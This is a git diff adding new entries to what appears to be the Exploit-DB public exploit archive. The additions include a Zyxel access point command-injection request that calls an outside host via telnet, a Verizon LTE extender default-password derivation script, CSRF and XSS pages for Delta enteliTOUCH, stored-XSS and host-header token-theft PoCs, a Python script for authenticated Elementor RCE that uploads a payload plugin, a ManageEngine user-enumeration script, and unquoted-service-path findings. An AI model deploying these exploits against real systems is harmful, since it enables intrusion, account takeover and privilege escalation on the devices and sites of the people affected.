diff --git a/exploits/hardware/remote/50870.txt b/exploits/hardware/remote/50870.txt new file mode 100644 index 000000000..fbc5b8a41 --- /dev/null +++ b/exploits/hardware/remote/50870.txt @@ -0,0 +1,28 @@ +# Exploit Title: Zyxel NWA-1100-NH - Command Injection +# Date: 12/4/2022 +# Exploit Author: Ahmed Alroky +# Vendor Homepage: https://www.zyxel.com/homepage.shtml +# Version: ALL BEFORE 2.12 +# Tested on: Linux +# CVE : CVE-2021-4039 +# References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf , +https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml + + +HTTP Request : + +POST /login/login.html HTTP/1.1 +Host: IP_address:8081 +Content-Length: 80 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http:/IP_address:8081 +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://IP_address:8081/login/login.html +Accept-Encoding: gzip, deflate +Accept-Language: en-US,en;q=0.9 +Connection: close + +myname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login \ No newline at end of file diff --git a/exploits/hardware/remote/50875.txt b/exploits/hardware/remote/50875.txt new file mode 100644 index 000000000..044d6566c --- /dev/null +++ b/exploits/hardware/remote/50875.txt @@ -0,0 +1,67 @@ +Exploit Title: Verizon 4G LTE Network Extender - Weak Credentials Algorithm +Exploit Author: LiquidWorm + + +Vendor: Verizon Communications Inc. +Product web page: https://www.verizon.com +Affected version: GA4.38 - V0.4.038.2131 + +Summary: An LTE Network Extender enhances your indoor and 4G +LTE data and voice coverage to provide better service for your +4G LTE mobile devices. It's an extension of our 4G LTE network +that's placed directly in your home or office. The LTE Network +Extender works with all Verizon-sold 4G LTE mobile devices for +4G LTE data service and HD Voice-capable 4G LTE devices for voice +service. This easy-to-install device operates like a miniature +cell tower that plugs into your existing high-speed broadband +connection to communicate with the Verizon wireless network. + +Desc: Verizon's 4G LTE Network Extender is utilising a weak +default admin password generation algorithm. The password is +generated using the last 4 values from device's MAC address +which is disclosed on the main webUI login page to an unauthenticated +attacker. The values are then concatenated with the string +'LTEFemto' resulting in something like 'LTEFemtoD080' as the +default Admin password. + +Tested on: lighttpd-web + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2022-5701 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php + + +17.02.2022 + +-- + + +snippet:///Exploit +// +// Verizon 4G LTE Network Extender Super Awesome JS Exploit +// + +console.log("Calling 'isDefaultPassword' API"); +let req = new Request("/webapi/isDefaultPassword"); +let def = req.url; + +const doAjax = async () => { + const resp = await fetch(def); + if (resp.ok) { + const jsonyo = await resp.json(); + return Promise.resolve(jsonyo); + } else { + return Promise.reject("Smth not rite captain!"); + } +} +doAjax().then(console.log).catch(console.log); + +await new Promise(t => setTimeout(t, 1337)); + +console.log("Verizon Admin Password: "); +let mac = document.querySelector("#mac_address").innerHTML; +console.log("LTEFemto" + mac.substr(-4)); \ No newline at end of file diff --git a/exploits/hardware/remote/50878.html b/exploits/hardware/remote/50878.html new file mode 100644 index 000000000..47afbadac --- /dev/null +++ b/exploits/hardware/remote/50878.html @@ -0,0 +1,78 @@ +# Exploit Tile: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Request Forgery (CSRF) +# Exploit Author: LiquidWorm + + + +enteliTouch CSRF + + + + +CSRF Add User: + +
+ + + + + + + + + +
+ +
+ +CSRF Change Admin Password (default: delta:login): + +
+ + + + + + + + + +
+ + + \ No newline at end of file diff --git a/exploits/hardware/remote/50879.html b/exploits/hardware/remote/50879.html new file mode 100644 index 000000000..c39becbaf --- /dev/null +++ b/exploits/hardware/remote/50879.html @@ -0,0 +1,56 @@ +# Exploit Title: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Scripting (XSS) +# Exploit Author: LiquidWorm + + + +enteliTouch XSS + + + + +
+ + + </script> + \ No newline at end of file diff --git a/exploits/php/webapps/50877.txt b/exploits/php/webapps/50877.txt new file mode 100644 index 000000000..118946d37 --- /dev/null +++ b/exploits/php/webapps/50877.txt @@ -0,0 +1,44 @@ +# Exploit Title: REDCap 11.3.9 - Stored Cross-Site Scripting +# Date: 2021-10-11 +# Exploit Author: Kendrick Lam +# References: https://github.com/KCL04/XSS-PoCs/blob/main/CVE-2021-42136.js +# Vendor Homepage: https://projectredcap.org +# Software Link: https://projectredcap.org +# Version: Redcap before 11.4.0 +# Tested on: 11.2.5 +# CVE: CVE-2021-42136 +# Security advisory: https://redcap.med.usc.edu/_shib/assets/ChangeLog_Standard.pdf + +### Stored XSS – Missing Data Code Value (found by Kendrick Lam) + +It was possible to store JavaScript as values for Missing Data Codes. + +- Where: Missing Data Code. +- Payload: + +- Details: The payload will escalate a regular user's privileges, if viewed by an account with permission to change privileges (such as an administrator). +- Privileges: Low privileged / regular user +- Location example: https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX + +- Privileges: + + Store: Low privileged user is able to store Missing Data Code values. + + Execute: Any authenticated user. The payload will trigger once the page loads, this means storing the payload and sending over the link to an administrator would be able to escalate the user's privileges. For example, by browsing to https://redcap.XXX/redcap/redcap_vv11.2.5/Design/data_dictionary_codebook.php?pid=XX \ No newline at end of file diff --git a/exploits/php/webapps/50881.txt b/exploits/php/webapps/50881.txt new file mode 100644 index 000000000..eb41bee58 --- /dev/null +++ b/exploits/php/webapps/50881.txt @@ -0,0 +1,18 @@ +# Exploit Title: PKP Open Journals System 3.3 - Cross-Site Scripting (XSS) +# Date: 31/01/2022 +# Exploit Author: Hemant Kashyap +# Vendor Homepage: https://github.com/pkp/pkp-lib/issues/7649 +# Version: PKP Open Journals System 2.4.8 >= 3.3 +# Tested on: All OS +# CVE : CVE-2022-24181 +# References: https://youtu.be/v8-9evO2oVg + +XSS via Host Header injection and Steal Password Reset Token of another user Step to reproduce: + + 1) Go to this site: https://who's-using-ojs-software.com + 2) And capture this request in burp , and send to repeater. + 3) Add this after Host Header X-Forwarded-Host: foo">maybe_handle_ajax(); +# } +# } ); +# +# This code is triggered whenever ANY user account visits /wp-admin +# In order to work we need the following 4 things: +# 1. The call must be an "ajax call" (wp_doing_ajax()) and the method must be POST. In order to do this, we only need to call /wp-admin/admin-ajax.php +# 2. The parameter "action" must be "elementor_upload_and_install_pro" (check out the function named maybe_handle_ajax() in the same file) +# 3. The parameter "_nonce" must be retrieved after login by inspecting the /wp-admin page (this exploit does this in DoLogin function) +# 4. The parameter "fileToUpload" must contain the ZIP archive we want to upload (check out the function named upload_and_install_pro() in the same file) +# +# The file we upload must have the following structure: +# 1. It must be a ZIP file. You can name it as you want. +# 2. It must contain a folder called "elementor-pro" +# 3. This folder must contain a file named "elementor-pro.php" +# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else) +# +# WARNING: The fake plugin we upload will be activated by Elementor, this means that each time we visit any page we trigger our payload. +# If it tries, for example, to connect to an offline host, it could lead to a Denial of Service. +# In order to prevent this, I suggest you to use some variable to activate the payload. +# Something like this (visit anypage.php?activate=1 in order to continue with the actual payload): +# if (!isset($_GET['activate'])) +# return; + +# Change the following 4 variables: +payloadFileName = 'elementor-pro.zip' # Change this with the path of the ZIP archive that contains your payload +baseUrl = 'http://192.168.56.103/wordpress/' # Change this with the base url of the target +username = 'guest' # Change this with the username you want to use to log in +password = 'test' # Change this with the password you want to use to log in +# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # + +session = requests.Session() +cookies = { 'wordpress_test_cookie' : 'WP+Cookie+check' } # WordPress needs this to tell if browser can manage cookies + +def DoLogin(username, password): + global cookies + loginUrl = baseUrl + 'wp-login.php' + adminUrl = baseUrl + 'wp-admin/' + data = { 'log' : username, 'pwd' : password, 'wp-submit' : 'Login', 'redirect_to' : adminUrl, 'testcookie' : 1 } + + # search for: "ajax":{"url":"http:\/\/baseUrl\/wp-admin\/admin-ajax.php","nonce":"4e8878bdba"} + # 4e8878bdba is just an example of nonce. It can be anything else. + regexp = re.compile('"ajax":\\{"url":".+admin\\-ajax\\.php","nonce":"(.+)"\\}') + response = session.post(loginUrl, cookies=cookies, data=data) + + search = regexp.search(response.text) + + if not search: + # I've tested this on WordPress v. 5.9.3 + # Fix the regexp if needed. + print('Error - Invalid credentials?') + #print(response.text) + else: + return search.group(1) + +def UploadFile(fileName, nonce): + uploadUrl = baseUrl + 'wp-admin/admin-ajax.php' + data = { 'action' : 'elementor_upload_and_install_pro', '_nonce' : nonce } + files = { 'fileToUpload' : open(fileName, 'rb') } + regexp = re.compile('"elementorProInstalled":true') # search for: "elementorProInstalled":true + response = session.post(uploadUrl, data=data, files=files) + + search = regexp.search(response.text) + + if not search: + # If Elemento Pro is already installed, the upload will fail. + # You can print the response to investigate further + print ('Error - Upload failed') + # print (response.text) + return False + else: + print ('Upload completed successfully!') + return True + +# Define YOUR method to activate your payload (if needed) +def ActivatePayload(): + payloadUrl = baseUrl + 'index.php?activate=1' + session.get(payloadUrl) + + +print('Trying to login...') +nonce = DoLogin(username, password) +print('Nonce found: ' + nonce) + +print('Uploading payload...') +fileUploaded = UploadFile(payloadFileName, nonce) + +# Define YOUR method to activate your payload (if needed) +if fileUploaded: + print ('Activating payload...') + ActivatePayload() \ No newline at end of file diff --git a/exploits/php/webapps/50884.txt b/exploits/php/webapps/50884.txt new file mode 100644 index 000000000..cc81d4623 --- /dev/null +++ b/exploits/php/webapps/50884.txt @@ -0,0 +1,13 @@ +# Exploit Title: Fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF)# Google Dork: NA +# Date: 11/03/2022 +# Exploit Author: Ali J +# Vendor Homepage: https://www.getfuelcms.com/ +# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.5.0 +# Version: 1.5.0 +# Tested on: Windows 10 + +Steps to Reproduce: +1. Login with user 1 and navigate to localhost/FUEL-CMS/fuel/sitevariables +2. Select any variable, click on delete button and select "yes, delete it". Intercept this request and generate a CSRF POC for this. After that drop the request. +3. Login with user 2 in a seperate browser and execute the CSRF POC. +4. Observe that the site variable has been deleted. To confirm, login with user 1 again and observe that the variable has been deleted from site variables. \ No newline at end of file diff --git a/exploits/windows/local/50867.txt b/exploits/windows/local/50867.txt new file mode 100644 index 000000000..0e02b31fc --- /dev/null +++ b/exploits/windows/local/50867.txt @@ -0,0 +1,23 @@ +# Exploit Title: Microsoft Exchange Mailbox Assistants 15.0.847.40 - 'Service MSExchangeMailboxAssistants' Unquoted Service Path +# Exploit Author: Antonio Cuomo (arkantolo) +# Exploit Date: 2022-04-11 +# Vendor : Microsoft +# Version : 15.0.847.40 +# Tested on OS: Microsoft Exchange Server 2013 SP1 + +#PoC : +============== + +C:\>sc qc MSExchangeMailboxAssistants +[SC] QueryServiceConfig OPERAZIONI RIUSCITE + +NOME_SERVIZIO: MSExchangeMailboxAssistants + TIPO : 10 WIN32_OWN_PROCESS + TIPO_AVVIO : 2 AUTO_START + CONTROLLO_ERRORE : 1 NORMAL + NOME_PERCORSO_BINARIO : C:\Program Files\Microsoft\Exchange Server\V15\Bin\MSExchangeMailboxAssistants.exe + GRUPPO_ORDINE_CARICAMENTO : + TAG : 0 + NOME_VISUALIZZATO : Microsoft Exchange Mailbox Assistants + DIPENDENZE : + SERVICE_START_NAME : LocalSystem \ No newline at end of file diff --git a/exploits/windows/local/50868.txt b/exploits/windows/local/50868.txt new file mode 100644 index 000000000..10edbb896 --- /dev/null +++ b/exploits/windows/local/50868.txt @@ -0,0 +1,23 @@ +# Exploit Title: Microsoft Exchange Active Directory Topology 15.0.847.40 - 'Service MSExchangeADTopology' Unquoted Service Path +# Exploit Author: Antonio Cuomo (arkantolo) +# Exploit Date: 2022-04-11 +# Vendor : Microsoft +# Version : 15.0.847.40 +# Tested on OS: Microsoft Exchange Server 2013 SP1 + +#PoC : +============== + +C:\>sc qc MSExchangeADTopology +[SC] QueryServiceConfig OPERAZIONI RIUSCITE + +NOME_SERVIZIO: MSExchangeADTopology + TIPO : 10 WIN32_OWN_PROCESS + TIPO_AVVIO : 2 AUTO_START + CONTROLLO_ERRORE : 1 NORMAL + NOME_PERCORSO_BINARIO : C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Directory.TopologyService.exe + GRUPPO_ORDINE_CARICAMENTO : + TAG : 0 + NOME_VISUALIZZATO : Microsoft Exchange Active Directory Topology + DIPENDENZE : + SERVICE_START_NAME : LocalSystem \ No newline at end of file diff --git a/exploits/windows/local/50883.txt b/exploits/windows/local/50883.txt new file mode 100644 index 000000000..836ce762b --- /dev/null +++ b/exploits/windows/local/50883.txt @@ -0,0 +1,22 @@ +# Exploit Title: 7-zip - Code Execution / Local Privilege Escalation +# Exploit Author: Kağan Çapar +# Date: 2020-04-12 +# Vendor homepage: https://www.7-zip.org/ +# Software link: https://www.7-zip.org/a/7z2107-x64.msi +# Version: 21.07 and all versions +# Tested On: Windows 10 Pro (x64) +# References: https://github.com/kagancapar/CVE-2022-29072 + +# About: +7-Zip through 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area. + +# Proof of Concept: + + + + + + \ No newline at end of file diff --git a/exploits/windows/local/50885.txt b/exploits/windows/local/50885.txt new file mode 100644 index 000000000..7d1988677 --- /dev/null +++ b/exploits/windows/local/50885.txt @@ -0,0 +1,37 @@ +# Exploit Title: PTPublisher v2.3.4 - Unquoted Service Path +# Discovery by: bios +# Discovery Date: 2022-18-04 +# Vendor Homepage: https://www.primera.com/ +# Tested Version: 2.3.4 +# Vulnerability Type: Unquoted Service Path +# Tested on OS: Microsoft Windows 10 Pro x64 + +# Step to discover Unquoted Service Path: + +C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" +|findstr /i /v "c:\windows\\" |findstr /i /v """ +PTProtect + PTProtect +C:\Program Files (x86)\Primera +Technology\PTPublisher\UsbFlashDongleService.exe + Auto + +C:\>sc qc PTProtect +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: PTProtect + TYPE : 10 WIN32_OWN_PROCESS + START_TYPE : 2 AUTO_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Program Files (x86)\PrimeraTechnology\PTPublisher\UsbFlashDongleService.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : PTProtect + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem + +C:\>systeminfo + +Host Name: DESKTOP-OUHAB1I +OS Name: Microsoft Windows 10 Pro +OS Version: 10.0.19044 N/A Build 19044 \ No newline at end of file diff --git a/exploits/windows/local/50886.txt b/exploits/windows/local/50886.txt new file mode 100644 index 000000000..1733c42ea --- /dev/null +++ b/exploits/windows/local/50886.txt @@ -0,0 +1,35 @@ +# Exploit Title: EaseUS Data Recovery - 'ensserver.exe' Unquoted Service Path +# Discovery by: bios +# Discovery Date: 2022-18-04 +# Vendor Homepage: https://www.easeus.com/ +# Tested Version: 15.1.0.0 +# Vulnerability Type: Unquoted Service Path +# Tested on OS: Microsoft Windows 10 Pro x64 + +# Step to discover Unquoted Service Path: + +C:\>wmic service get name,pathname,displayname,startmode | findstr /i auto +| findstr /i /v "C:\Windows\\" | findstr /i /v """ +EaseUS UPDATE SERVICE + EaseUS UPDATE SERVICE C:\Program Files +(x86)\EaseUS\ENS\ensserver.exe Auto + +C:\>sc qc "EaseUS UPDATE SERVICE" +[SC] QueryServiceConfig SUCCESS + +SERVICE_NAME: EaseUS UPDATE SERVICE + TYPE : 10 WIN32_OWN_PROCESS + START_TYPE : 2 AUTO_START + ERROR_CONTROL : 1 NORMAL + BINARY_PATH_NAME : C:\Program Files (x86)\EaseUS\ENS\ensserver.exe + LOAD_ORDER_GROUP : + TAG : 0 + DISPLAY_NAME : EaseUS UPDATE SERVICE + DEPENDENCIES : + SERVICE_START_NAME : LocalSystem + +C:\>systeminfo + +Host Name: DESKTOP-HR3T34O +OS Name: Microsoft Windows 10 Home +OS Version: 10.0.19042 N/A Build 19042 \ No newline at end of file diff --git a/exploits/windows/remote/50873.py b/exploits/windows/remote/50873.py new file mode 100755 index 000000000..29f534b29 --- /dev/null +++ b/exploits/windows/remote/50873.py @@ -0,0 +1,63 @@ +# Exploit Title: ManageEngine ADSelfService Plus 6.1 - User Enumeration +# Exploit Author: Metin Yunus Kandemir +# Vendor Homepage: https://www.manageengine.com/ +# Software Link: https://www.manageengine.com/products/self-service-password/download.html +# Version: ADSelfService 6.1 Build 6121 +# Tested Against: Build 6118 - 6121 +# Details: https://github.com/passtheticket/vulnerability-research/blob/main/manage-engine-apps/adselfservice-userenum.md + +# !/usr/bin/python3 +import requests +import sys +import time +import urllib3 +from urllib3.exceptions import InsecureRequestWarning + +""" +The domain users can be enumerated like userenum module of the kerbrute tool using this exploit. +If you conducted a brute-force attack against a user, please run the script after 30 minutes (default settings) otherwise the results can be false positive. +""" + +def request(target, user): + urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + url = target + 'ServletAPI/accounts/login' + data = {"loginName": user} + headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"} + req = requests.post(url, data=data, headers=headers, verify=False) + + # For debugging + # print("[*] Response for " + user + ": " + req.text.strip()) + if 'PASSWORD' in req.text: + print("[+] " + user + " is VALID!") + elif 'Your account has been disabled' in req.text: + print("[+] " + user + " account has been DISABLED.") + elif 'Your account has expired' in req.text: + print("[+] " + user + " account has EXPIRED.") + elif 'Enter the text as shown in the image.' in req.text: + print("[!] The exploit doesn't detect expired and disabled users. Please, run it after the 30 minutes. ") + elif 'Permission Denied.' in req.text: + print("[-] " + user + " is not found.") + + +def get_users(target, file): + try: + file = open(file, "r") + for line in file: + line = line.strip() + time.sleep(0.5) + request(target, user=line) + except FileNotFoundError: + print("[-] File not found!") + sys.exit(1) + + +def main(args): + if len(args) != 3: + print("[*] Usage: %s url usernames_file" % (args[0])) + print("[*] Example: %s https://target/ /tmp/usernames.txt" % (args[0])) + sys.exit(1) + get_users(target=args[1], file=args[2]) + + +if __name__ == "__main__": + main(args=sys.argv) \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 2d0b7ac61..11ec16017 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11477,6 +11477,11 @@ id,file,description,date,author,type,platform,port 50852,exploits/windows/local/50852.txt,"Sherpa Connector Service v2020.2.20328.2050 - Unquoted Service Path",1970-01-01,"Manthan Chhabra",local,windows, 50858,exploits/linux/local/50858.txt,"binutils 2.37 - Objdump Segmentation Fault",1970-01-01,"Marlon Petry",local,linux, 50859,exploits/windows/local/50859.txt,"MiniTool Partition Wizard - Unquoted Service Path",1970-01-01,"Saud Alenazi",local,windows, +50867,exploits/windows/local/50867.txt,"Microsoft Exchange Mailbox Assistants 15.0.847.40 - 'Service MSExchangeMailboxAssistants' Unquoted Service Path",1970-01-01,"Antonio Cuomo",local,windows, +50868,exploits/windows/local/50868.txt,"Microsoft Exchange Active Directory Topology 15.0.847.40 - 'Service MSExchangeADTopology' Unquoted Service Path",1970-01-01,"Antonio Cuomo",local,windows, +50883,exploits/windows/local/50883.txt,"7-zip - Code Execution / Local Privilege Escalation",1970-01-01,"Kağan Çapar",local,windows, +50885,exploits/windows/local/50885.txt,"PTPublisher v2.3.4 - Unquoted Service Path",1970-01-01,bios,local,windows, +50886,exploits/windows/local/50886.txt,"EaseUS Data Recovery - 'ensserver.exe' Unquoted Service Path",1970-01-01,bios,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",1970-01-01,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",1970-01-01,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",1970-01-01,"Marcin Wolak",remote,windows,139 @@ -18664,6 +18669,12 @@ id,file,description,date,author,type,platform,port 50856,exploits/hardware/remote/50856.py,"Kramer VIAware - Remote Code Execution (RCE) (Root)",1970-01-01,sharkmoos,remote,hardware, 50857,exploits/multiple/remote/50857.txt,"Opmon 9.11 - Cross-site Scripting",1970-01-01,"Marlon Petry",remote,multiple, 50861,exploits/linux/remote/50861.txt,"Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI)",1970-01-01,"Momen Eldawakhly",remote,linux, +50870,exploits/hardware/remote/50870.txt,"Zyxel NWA-1100-NH - Command Injection",1970-01-01,"Ahmed Alroky",remote,hardware, +50873,exploits/windows/remote/50873.py,"ManageEngine ADSelfService Plus 6.1 - User Enumeration",1970-01-01,"Metin Yunus Kandemir",remote,windows, +50875,exploits/hardware/remote/50875.txt,"Verizon 4G LTE Network Extender - Weak Credentials Algorithm",1970-01-01,LiquidWorm,remote,hardware, +50878,exploits/hardware/remote/50878.html,"Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Request Forgery (CSRF)",1970-01-01,LiquidWorm,remote,hardware, +50879,exploits/hardware/remote/50879.html,"Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Scripting (XSS)",1970-01-01,LiquidWorm,remote,hardware, +50880,exploits/hardware/remote/50880.txt,"Delta Controls enteliTOUCH 3.40.3935 - Cookie User Password Disclosure",1970-01-01,LiquidWorm,remote,hardware, 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",1970-01-01,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",1970-01-01,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",1970-01-01,Spoofed,webapps,php, @@ -44710,6 +44721,7 @@ id,file,description,date,author,type,platform,port 50507,exploits/php/webapps/50507.txt,"Employee and Visitor Gate Pass Logging System 1.0 - 'name' Stored Cross-Site Scripting (XSS)",1970-01-01,"İlhami Selamet",webapps,php, 50509,exploits/hardware/webapps/50509.txt,"YeaLink SIP-TXXXP 53.84.0.15 - 'cmd' Command Injection (Authenticated)",1970-01-01,tahaafarooq,webapps,hardware, 50512,exploits/multiple/webapps/50512.py,"Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3)",1970-01-01,"Valentin Lobstein",webapps,multiple, +50872,exploits/php/webapps/50872.txt,"Scriptcase 9.7 - Remote Code Execution (RCE)",1970-01-01,luckyt0mat0,webapps,php, 50513,exploits/multiple/webapps/50513.py,"FormaLMS 2.4.4 - Authentication Bypass",1970-01-01,"Cristian \'void\' Giustini",webapps,multiple, 50514,exploits/php/webapps/50514.txt,"WordPress Plugin WP Symposium Pro 2021.10 - 'wps_admin_forum_add_name' Stored Cross-Site Scripting (XSS)",1970-01-01,"Murat DEMİRCİ",webapps,php, 50515,exploits/php/webapps/50515.txt,"WordPress Plugin AccessPress Social Icons 1.8.2 - 'icon title' Stored Cross-Site Scripting (XSS)",1970-01-01,"Murat DEMİRCİ",webapps,php, @@ -44933,3 +44945,11 @@ id,file,description,date,author,type,platform,port 50863,exploits/hardware/webapps/50863.txt,"Telesquare TLR-2855KS6 - Arbitrary File Deletion",1970-01-01,"Momen Eldawakhly",webapps,hardware, 50864,exploits/hardware/webapps/50864.txt,"Razer Sila - Local File Inclusion (LFI)",1970-01-01,"Kevin Randall",webapps,hardware, 50865,exploits/hardware/webapps/50865.txt,"Razer Sila - Command Injection",1970-01-01,"Kevin Randall",webapps,hardware, +50869,exploits/php/webapps/50869.txt,"WordPress Plugin Motopress Hotel Booking Lite 4.2.4 - SQL Injection",1970-01-01,"Mohsen Dehghani",webapps,php, +50871,exploits/php/webapps/50871.rb,"Easy Appointments 1.4.2 - Information Disclosure",1970-01-01,"Alexandre ZANNI",webapps,php, +50874,exploits/php/webapps/50874.txt,"WordPress Plugin Videos sync PDF 1.7.4 - Stored Cross Site Scripting (XSS)",1970-01-01,UnD3sc0n0c1d0,webapps,php, +50876,exploits/php/webapps/50876.txt,"WordPress Plugin Popup Maker 1.16.5 - Stored Cross-Site Scripting (Authenticated)",1970-01-01,"Roel van Beurden",webapps,php, +50877,exploits/php/webapps/50877.txt,"REDCap 11.3.9 - Stored Cross Site Scripting",1970-01-01,"Kendrick Lam",webapps,php, +50881,exploits/php/webapps/50881.txt,"PKP Open Journals System 3.3 - Cross-Site Scripting (XSS)",1970-01-01,"Hemant Kashyap",webapps,php, +50882,exploits/php/webapps/50882.py,"WordPress Plugin Elementor 3.6.2 - Remote Code Execution (RCE) (Authenticated)",1970-01-01,AkuCyberSec,webapps,php, +50884,exploits/php/webapps/50884.txt,"Fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF)",1970-01-01,"Ali J",webapps,php,